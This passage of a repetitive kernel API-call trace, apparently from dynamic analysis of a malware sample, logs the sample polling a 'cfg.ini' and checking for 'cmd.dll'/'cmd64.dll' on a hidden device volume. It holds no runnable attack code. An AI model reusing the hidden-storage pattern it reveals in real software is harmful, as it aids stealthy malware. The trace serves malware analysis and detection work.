0xfffffa8003aa6e20 [0121.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.990] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.990] IdePortDispatch () returned 0x103 [0121.990] KeWaitForMutexObject () returned 0x0 [0121.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.990] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.990] IdePortDispatch () returned 0x103 [0121.991] KeWaitForMutexObject () returned 0x0 [0121.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.991] KeLeaveCriticalRegion () [0121.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.991] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.991] KeEnterCriticalRegion () [0121.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.991] KeLeaveCriticalRegion () [0121.991] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.991] KeEnterCriticalRegion () [0121.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.991] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.991] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.991] KeLeaveCriticalRegion () [0121.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.991] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.991] KeEnterCriticalRegion () [0121.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.991] ExFreePoolWithTag (P=0xfffffa8003bbea90, Tag=0x0) [0121.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.992] KeLeaveCriticalRegion () [0121.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.992] ReleaseMutex (hMutex=0xf0) returned 1 [0121.992] Sleep (dwMilliseconds=0x124f80) [0122.002] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.002] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.003] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.003] KeEnterCriticalRegion () [0122.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.003] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.003] IdePortDispatch () returned 0x103 [0122.003] KeWaitForMutexObject () returned 0x0 [0122.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.003] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.003] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.003] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.003] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.003] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9940 [0122.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.003] KeLeaveCriticalRegion () [0122.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.003] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.003] KeEnterCriticalRegion () [0122.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.003] KeLeaveCriticalRegion () [0122.003] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.003] KeEnterCriticalRegion () [0122.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.003] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.003] IdePortDispatch () returned 0x103 [0122.004] KeWaitForMutexObject () returned 0x0 [0122.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.004] KeLeaveCriticalRegion () [0122.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.004] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.004] KeEnterCriticalRegion () [0122.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0c000 [0122.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.004] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.004] IdePortDispatch () returned 0x103 [0122.004] KeWaitForMutexObject () returned 0x0 [0122.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.005] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.005] IdePortDispatch () returned 0x103 [0122.005] KeWaitForMutexObject () returned 0x0 [0122.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.005] KeLeaveCriticalRegion () [0122.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.005] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.005] KeEnterCriticalRegion () [0122.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.005] KeLeaveCriticalRegion () [0122.005] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.005] KeEnterCriticalRegion () [0122.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.005] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.006] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.006] KeLeaveCriticalRegion () [0122.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.006] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.006] KeEnterCriticalRegion () [0122.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.006] ExFreePoolWithTag (P=0xfffffa8003bc9940, Tag=0x0) [0122.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.006] KeLeaveCriticalRegion () [0122.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.006] ReleaseMutex (hMutex=0xf0) returned 1 [0122.006] Sleep (dwMilliseconds=0x124f80) [0122.020] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.020] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.020] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.020] KeEnterCriticalRegion () [0122.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.020] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.020] IdePortDispatch () returned 0x103 [0122.020] KeWaitForMutexObject () returned 0x0 [0122.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.020] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.020] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.020] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.020] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.020] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be22f0 [0122.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.020] KeLeaveCriticalRegion () [0122.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.021] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.021] KeEnterCriticalRegion () [0122.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.021] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.021] KeLeaveCriticalRegion () [0122.021] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.021] KeEnterCriticalRegion () [0122.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.021] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.021] IdePortDispatch () returned 0x103 [0122.021] KeWaitForMutexObject () returned 0x0 [0122.021] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.021] KeLeaveCriticalRegion () [0122.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.021] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.021] KeEnterCriticalRegion () [0122.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c11000 [0122.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.021] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.021] IdePortDispatch () returned 0x103 [0122.021] KeWaitForMutexObject () returned 0x0 [0122.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.022] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.022] IdePortDispatch () returned 0x103 [0122.022] KeWaitForMutexObject () returned 0x0 [0122.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.022] KeLeaveCriticalRegion () [0122.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.023] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.023] KeEnterCriticalRegion () [0122.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.023] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.023] KeLeaveCriticalRegion () [0122.023] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.023] KeEnterCriticalRegion () [0122.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.023] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.023] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.023] KeLeaveCriticalRegion () [0122.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.023] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.023] KeEnterCriticalRegion () [0122.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.023] ExFreePoolWithTag (P=0xfffffa8003be22f0, Tag=0x0) [0122.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.023] KeLeaveCriticalRegion () [0122.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.023] ReleaseMutex (hMutex=0xf0) returned 1 [0122.023] Sleep (dwMilliseconds=0x124f80) [0122.038] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.038] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.038] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.038] KeEnterCriticalRegion () [0122.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.038] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.038] IdePortDispatch () returned 0x103 [0122.038] KeWaitForMutexObject () returned 0x0 [0122.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.038] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.038] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.038] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.038] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.038] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9550 [0122.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.038] KeLeaveCriticalRegion () [0122.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.039] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.039] KeEnterCriticalRegion () [0122.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.039] KeLeaveCriticalRegion () [0122.039] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.039] KeEnterCriticalRegion () [0122.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.039] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.039] IdePortDispatch () returned 0x103 [0122.039] KeWaitForMutexObject () returned 0x0 [0122.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.039] KeLeaveCriticalRegion () [0122.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.039] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.039] KeEnterCriticalRegion () [0122.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c16000 [0122.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.039] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.039] IdePortDispatch () returned 0x103 [0122.039] KeWaitForMutexObject () returned 0x0 [0122.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.040] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.040] IdePortDispatch () returned 0x103 [0122.040] KeWaitForMutexObject () returned 0x0 [0122.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.040] KeLeaveCriticalRegion () [0122.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.040] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.040] KeEnterCriticalRegion () [0122.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.040] KeLeaveCriticalRegion () [0122.041] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.041] KeEnterCriticalRegion () [0122.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.041] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.041] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 